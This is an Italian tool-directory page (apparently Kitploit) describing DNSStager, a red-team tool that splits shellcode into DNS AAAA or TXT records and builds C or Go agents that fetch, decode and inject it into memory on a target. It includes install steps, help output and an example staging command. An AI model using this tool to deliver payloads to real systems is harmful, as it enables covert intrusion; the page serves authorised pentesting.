Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DNSStager — Nascondi il tuo payload nel DNS | Kitploit
Strumenti/GitHubGitHub/mhaskar/dnsstager
Generazione di PayloadExploitCommand and ControlRed TeamingSviluppo PayloadAnalisi DNS
GitHubmhaskar/dnsstager

DNSStager

Nascondi il tuo payload nel DNS

Vedi Repository
6221333 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Cos'è DNSStager?

DNSStager è un progetto open-source basato su Python utilizzato per nascondere e trasferire il tuo payload tramite DNS.

DNSStager creerà un server DNS malevolo che gestisce le richieste DNS per il tuo dominio e restituisce il tuo payload come risposta a richieste di record specifici come AAAA o TXT dopo averlo suddiviso in blocchi e codificato il payload utilizzando diversi algoritmi.

DNSStager può generare un agente personalizzato scritto in C o GoLang che risolverà una sequenza di domini, recupererà il payload, lo decodificherà e infine lo inietterà in memoria basandosi su qualsiasi tecnica tu desideri.

Puoi modificare il codice dell'agente DNSStager come preferisci e crearlo utilizzando le tue tecniche di esecuzione personalizzate.

L'obiettivo principale dell'uso di DNSStager è aiutare i red teamer/pentester a consegnare i loro payload in un canale furtivo utilizzando DNS.

Come funziona?

In base alla tua opzione di risoluzione DNS, DNSStager dividerà il tuo payload in blocchi e salverà ogni blocco del payload come risposta per un sottodominio.

Ad esempio, se scegli IPV6 come opzione per recuperare il payload, la risposta DNS sarà qualcosa del tipo:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Dove 5648:31d2:6548:8b52:6048:8b52:1848:8b52 è una parte del tuo payload.

Quindi, l'agente risolverà alcuni domini per recuperare il payload, poi lo decodificherà e infine lo inietterà in memoria.

Attualmente, DNSStager supporta solo due record, AAAA e TXT. Puoi codificare il tuo payload usando XOR per il record AAAA e per impostazione predefinita verrà codificato come base64 se scegli il record TXT.

Caratteristiche principali di DNSStager:

DNSStager ha alcune caratteristiche chiave come:

  • Nascondi e risolvi il tuo payload nei record IPV6.
  • Nascondi e risolvi il tuo payload nei record TXT.
  • Codificatore XOR per codificare il tuo payload.
  • Codificatore Base64 per codificare il tuo payload (solo per record TXT).
  • Agente puro scritto in C con la possibilità di personalizzarlo.
  • Agente puro scritto in GoLang con la possibilità di personalizzarlo.
  • La possibilità di usare una pausa tra ogni richiesta DNS.
  • E MOLTO ALTRO IN ARRIVO!

Requisiti

Puoi installare i requisiti Python di DNSStager tramite:

pip3 install -r requirements.txt

Devi installare GoLang versione 1.16.3 e assicurarti di installare i seguenti pacchetti GoLang:

  • golang.org/x/sys
  • github.com/miekg/dns

Inoltre, assicurati di installare ming-w64 tramite:

apt install mingw-w64

Lo script setup.sh dovrebbe farlo per te, ma controlla i requisiti prima di usarlo!

Installazione

Per ottenere l'ultima versione di DNSStager, assicurati di clonarlo da questo repository usando il seguente comando:

git clone https://github.com/mhaskar/DNSStager

Poi devi installare i requisiti usando il seguente comando:

pip3 install -r requirements.txt

E assicurati di installare anche tutti i requisiti menzionati in precedenza.

Dopo aver fatto tutto ciò, sei pronto per eseguire DNSStager come root per ottenere quanto segue:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Hide your payload in DNS
    
[-] Please specify a domain name using --domain

Utilizzo

Per iniziare a usare DNSStager, assicurati prima di configurare le impostazioni DNS, devi fare in modo che il tuo dominio punti all'istanza DNSStager come record NS per gestire tutte le richieste DNS al tuo dominio.

Puoi leggere questo articolo completo su come configurare e usare DNSStager.

E puoi controllare le opzioni usando l'opzione -h come segue:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

DNSStager main parser

optional arguments:
  -h, --help            show this help message and exit
  --domain DOMAIN       The domain you want to use as staging host
  --payloads            show all payloads
  --prefix PREFIX       Prefix to use as part of your subdomain schema
  --payload PAYLOAD     Payload to use, see --payloads for more details
  --output OUTPUT       Agent output path
  --shellcode_path SHELLCODE_PATH
                        Shellcode file path
  --xorkey XORKEY       XOR key to encode your payload with
  --sleep SLEEP         sleep for N seconds between each DNS request
  --format FORMAT       payload format (.dll or .exe)
  --tcp                 Start and use the DNS server via TCP protocol
  • --domain: puoi usare questa opzione per selezionare il dominio principale che userai per gestire le richieste DNS.

  • -- prefix: Il prefisso che vuoi usare per lo schema dei sottodomini Ad esempio, se il tuo dominio principale è fakedns.live puoi specificare il prefisso come "cdn", quindi i domini generati seguiranno un pattern come il seguente:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Dove N è un numero generato automaticamente che rappresenta il numero di blocchi del tuo payload.

  • --payload: il payload "agente" di DNSStager che vuoi generare in base alla tecnica, al linguaggio di programmazione e all'architettura.

  • --output: Percorso di output per salvare il payload eseguibile "agente" di DNSStager.

  • --shellcode_path: Il percorso del tuo shellcode raw/bin.

  • --xorkey: Chiave XOR per codificare il payload.

  • --sleep: Utilizzato per attendere N secondi tra ogni richiesta DNS.

  • --tcp: Avvia e usa il server DNS tramite protocollo TCP

Payload di DNSStager

Per controllare i payload disponibili di DNSStager, puoi usare ./dnsstager.py --payloads per ottenere i seguenti risultati:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 DNSStager payloads Available

x64/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x64 C code
x86/c/ipv6			Resolve your payload as IPV6 addresses xored with custom key via compiled x86 C code
x64/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x64 GoLang code
x64/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x64 GoLang code
x86/golang/txt			Resolve your payload as TXT records encoded using base64 compiled x86 GoLang code
x86/golang/ipv6			Resolve your payload as IPV6 addresses encoded with custom key using byte add encoding via compiled x86 GoLang code

Esempio di utilizzo di DNSStager con IPV6

Questo esempio avvierà DNSStager per risolvere il tuo payload come IPV6 usando il dominio test.mydnsserver.live con prefisso cloud-srv- per generare un agente compilato x64 C codificato con 0x10 come chiave:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

E l'output sarà:

Alt text

E per verificare se tutto funziona bene, inviamo una query DNS a cloud-srv-0.test.mydnsserver.live per ottenere quanto segue:

Alt text

Possiamo vedere che abbiamo ricevuto f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b come risposta, che è il primo 16 byte del nostro payload codificato.

Poi puoi eseguire l'agente /tmp/a2.exe (come impostato usando --output nella riga di comando) sulla macchina target e questo scaricherà tutti i blocchi necessari, li decodificherà e li inietterà in memoria per te.

Risorse

  • DNSStager v1.0 stable: codice più furtivo, agente DLL e molto altro.
  • Presentazione di DNSStager: uno strumento per nascondere il tuo payload nel DNS.

Licenza

Questo progetto è concesso in licenza secondo la licenza GPL-3.0 - consulta il file LICENSE per i dettagli.

Scarica lo strumento